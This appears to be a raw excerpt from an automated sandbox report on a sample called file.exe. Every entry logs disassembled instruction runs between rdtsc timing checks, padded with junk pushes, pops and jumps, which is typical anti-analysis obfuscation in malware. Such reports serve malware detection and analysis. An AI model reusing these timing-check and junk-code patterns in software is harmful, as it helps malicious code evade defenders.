Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 468C10 second address: 468C26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F3100FA300Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 468C26 second address: 468C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331A86 second address: 331A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4687C3 second address: 4687DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3100E5D166h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3100E5D16Ah 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70184 second address: 4A7018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50D17 second address: 4A50D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50D1B second address: 4A50D21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50D21 second address: 4A50D68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3100E5D171h 0x00000011 sub ax, 40E6h 0x00000016 jmp 00007F3100E5D171h 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50D68 second address: 4A50D93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3100FA3017h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50D93 second address: 4A50DDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F3100E5D175h 0x0000000b sbb esi, 2343E256h 0x00000011 jmp 00007F3100E5D171h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3100E5D16Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50DDA second address: 4A50DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50DE0 second address: 4A50DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50DE4 second address: 4A50DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90EEE second address: 4A90F8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3100E5D177h 0x00000011 or cx, 4E8Eh 0x00000016 jmp 00007F3100E5D179h 0x0000001b popfd 0x0000001c jmp 00007F3100E5D170h 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007F3100E5D170h 0x00000028 mov ebp, esp 0x0000002a jmp 00007F3100E5D170h 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F3100E5D177h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90F8A second address: 4A90F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3012A second address: 4A30130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30130 second address: 4A30134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30134 second address: 4A30162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov eax, 1768C3BBh 0x0000000f movzx eax, di 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3100E5D176h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30162 second address: 4A301BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3100FA3011h 0x00000009 sub si, 1326h 0x0000000e jmp 00007F3100FA3011h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F3100FA3010h 0x0000001a sub eax, 50EAC4C8h 0x00000020 jmp 00007F3100FA300Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301BC second address: 4A301C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301C0 second address: 4A301C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301C6 second address: 4A301F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3100E5D177h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301F0 second address: 4A301F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301F6 second address: 4A301FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30271 second address: 4A30280 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30280 second address: 4A30298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30298 second address: 4A3029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A506B4 second address: 4A506BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A506BA second address: 4A50703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ah, B9h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F3100FA3011h 0x00000014 xor si, 4726h 0x00000019 jmp 00007F3100FA3011h 0x0000001e popfd 0x0000001f call 00007F3100FA3010h 0x00000024 pop ecx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50703 second address: 4A5075A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3100E5D170h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F3100E5D170h 0x00000016 pop ebp 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007F3100E5D16Ch 0x00000020 sub ah, FFFFFF88h 0x00000023 jmp 00007F3100E5D16Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5075A second address: 4A5075E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A502E6 second address: 4A502EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A502EC second address: 4A50335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F3100FA3011h 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007F3100FA3011h 0x00000018 or ecx, 121F7376h 0x0000001e jmp 00007F3100FA3011h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50335 second address: 4A50386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F3100E5D16Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F3100E5D16Dh 0x0000001c and ch, 00000036h 0x0000001f jmp 00007F3100E5D171h 0x00000024 popfd 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60224 second address: 4A60267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3100FA3013h 0x00000013 jmp 00007F3100FA3013h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60267 second address: 4A6026C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6026C second address: 4A60282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100FA3012h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60282 second address: 4A60286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60286 second address: 4A60295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60295 second address: 4A60299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60299 second address: 4A6029F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6029F second address: 4A602E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, si 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F3100E5D170h 0x0000001a add si, 7168h 0x0000001f jmp 00007F3100E5D16Bh 0x00000024 popfd 0x00000025 movzx esi, bx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602E6 second address: 4A602EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602EC second address: 4A602F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602F0 second address: 4A60309 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60309 second address: 4A6030D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6030D second address: 4A60311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60311 second address: 4A60317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E1A second address: 4A90E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E20 second address: 4A90E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E25 second address: 4A90E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E2B second address: 4A90E54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3100E5D175h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E54 second address: 4A90E7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3100FA300Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E7A second address: 4A90E8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov esi, 26BA3F2Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E8F second address: 4A90E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90E93 second address: 4A90E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7065A second address: 4A70678 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 call 00007F3100FA3015h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70678 second address: 4A706B3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3100E5D171h 0x00000008 jmp 00007F3100E5D16Bh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3100E5D175h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5051C second address: 4A50520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50520 second address: 4A5053C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5053C second address: 4A505A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3100FA3014h 0x00000011 sub eax, 595701D8h 0x00000017 jmp 00007F3100FA300Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F3100FA3018h 0x00000023 sub cx, 4C38h 0x00000028 jmp 00007F3100FA300Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A505A7 second address: 4A505C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A700AA second address: 4A70103 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3100FA300Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F3100FA300Dh 0x0000001a sbb cx, B076h 0x0000001f jmp 00007F3100FA3011h 0x00000024 popfd 0x00000025 mov dl, ah 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70103 second address: 4A7012A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 jmp 00007F3100E5D175h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop eax 0x00000014 mov bl, 6Ah 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7039A second address: 4A703A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90622 second address: 4A90627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90627 second address: 4A90644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F3100FA3011h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90644 second address: 4A9064A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9064A second address: 4A9064E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9064E second address: 4A90652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90652 second address: 4A906D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3100FA3010h 0x00000012 sub esi, 76061828h 0x00000018 jmp 00007F3100FA300Bh 0x0000001d popfd 0x0000001e call 00007F3100FA3018h 0x00000023 mov esi, 5B4BDC21h 0x00000028 pop eax 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007F3100FA300Dh 0x00000031 xchg eax, ecx 0x00000032 pushad 0x00000033 call 00007F3100FA300Ch 0x00000038 mov edi, esi 0x0000003a pop esi 0x0000003b call 00007F3100FA3017h 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A906D9 second address: 4A906ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3100E5D16Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A906ED second address: 4A906F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 50h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A906F4 second address: 4A90753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ecx 0x00000008 jmp 00007F3100E5D16Ch 0x0000000d mov eax, dword ptr [76FA65FCh] 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F3100E5D16Eh 0x00000019 add ax, 24D8h 0x0000001e jmp 00007F3100E5D16Bh 0x00000023 popfd 0x00000024 mov edx, esi 0x00000026 popad 0x00000027 test eax, eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c call 00007F3100E5D177h 0x00000031 pop eax 0x00000032 mov dx, 0E7Ch 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90753 second address: 4A90759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90759 second address: 4A9075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9075D second address: 4A90761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90761 second address: 4A90772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F31732F0363h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90772 second address: 4A90818 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F3100FA300Ch 0x0000000c and eax, 188F68C8h 0x00000012 jmp 00007F3100FA300Bh 0x00000017 popfd 0x00000018 popad 0x00000019 mov ecx, eax 0x0000001b jmp 00007F3100FA3016h 0x00000020 xor eax, dword ptr [ebp+08h] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F3100FA3017h 0x0000002a sbb ch, 0000006Eh 0x0000002d jmp 00007F3100FA3019h 0x00000032 popfd 0x00000033 mov ah, 21h 0x00000035 popad 0x00000036 and ecx, 1Fh 0x00000039 jmp 00007F3100FA3013h 0x0000003e ror eax, cl 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F3100FA3010h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90818 second address: 4A9081E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9081E second address: 4A90888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 mov esi, 2F5635BFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d leave 0x0000000e pushad 0x0000000f mov dl, cl 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F3100FA3013h 0x00000018 xor esi, 0DBCF53Eh 0x0000001e jmp 00007F3100FA3019h 0x00000023 popfd 0x00000024 mov edi, esi 0x00000026 popad 0x00000027 popad 0x00000028 retn 0004h 0x0000002b nop 0x0000002c mov esi, eax 0x0000002e lea eax, dword ptr [ebp-08h] 0x00000031 xor esi, dword ptr [001C2014h] 0x00000037 push eax 0x00000038 push eax 0x00000039 push eax 0x0000003a lea eax, dword ptr [ebp-10h] 0x0000003d push eax 0x0000003e call 00007F31058B3881h 0x00000043 push FFFFFFFEh 0x00000045 pushad 0x00000046 call 00007F3100FA3018h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
